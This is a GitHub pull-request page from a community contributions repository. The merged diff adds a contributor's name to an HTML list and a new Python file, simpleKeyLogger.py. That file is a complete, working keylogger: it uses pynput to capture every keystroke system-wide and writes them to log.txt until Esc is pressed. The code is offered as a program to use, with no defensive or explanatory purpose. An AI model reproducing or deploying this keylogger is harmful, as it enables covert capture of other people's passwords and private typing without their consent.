Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

a simple keylogger #75

Merged
merged 1 commit into from
Oct 15, 2020
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions Contributors.html
Original file line number Diff line number Diff line change
Expand Up @@ -151,6 +151,7 @@ <h1 class="animated rubberBand delay-4s">Contributors</h1>
<a class="box-item" href="https://github.com/zomsik"><span>Tomasz Wiejak</span></a>
<a class="box-item" href="https://github.com/elijahdaniel"><span>Elijah Paminsan</span></a>
<a class="box-item" href="https://github.com/evergreen2001"><span>Ido Evergreen</span></a>
<a class="box-item" href="https://github.com/Zaheudev"><span>Zaharia Iulian</span></a>


<!--
Expand Down
42 changes: 42 additions & 0 deletions Program's_Contributed_By_Contributors/simpleKeyLogger.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,42 @@
##Zaheudev
import pynput

from pynput.keyboard import Key, Listener

count = 0

keys = []


def on_press(Key) :
global keys, count

keys.append(Key)
count += 1
print("{0} pressed".format(Key))

if count >= 10:
count = 0
write_file(keys)
keys = []

def write_file(keys) :
with open("log.txt", "a") as f:
for key in keys:
k = str(key).replace("'","")
if k.find("space") > 0:
f.write('\n')
elif k.find("Key") == -1:
f.write(k)



def on_release(key):
if key == Key.esc:
return False



with Listener(on_press=on_press, on_release=on_release) as listener:
listener.join()
##Zaheudev